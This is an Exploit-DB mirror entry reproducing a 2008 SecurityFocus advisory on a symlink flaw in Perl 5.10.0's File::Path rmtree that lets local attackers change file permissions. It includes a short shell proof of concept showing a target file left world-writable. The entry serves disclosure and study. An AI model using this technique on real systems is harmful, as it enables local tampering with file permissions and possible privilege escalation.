exploit-db-mirror/platforms/linux/local/31959.txt
Offensive Security 5e2fc10125 DB: 2016-09-03
2016-09-03 13:13:25 +00:00

17 lines
No EOL
634 B
Text
Executable file

source: http://www.securityfocus.com/bid/29902/info
Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links.
Attackers can leverage this issue to change the permissions of arbitrary files.
Perl 5.10.0 is vulnerable; other versions may also be affected.
% touch foo
% ln -s foo bar
% ls -l foo bar
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
% perl -e 'use File::Path rmtree; rmtree bar'
% ls -l foo bar
ls: cannot access bar: No such file or directory
-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo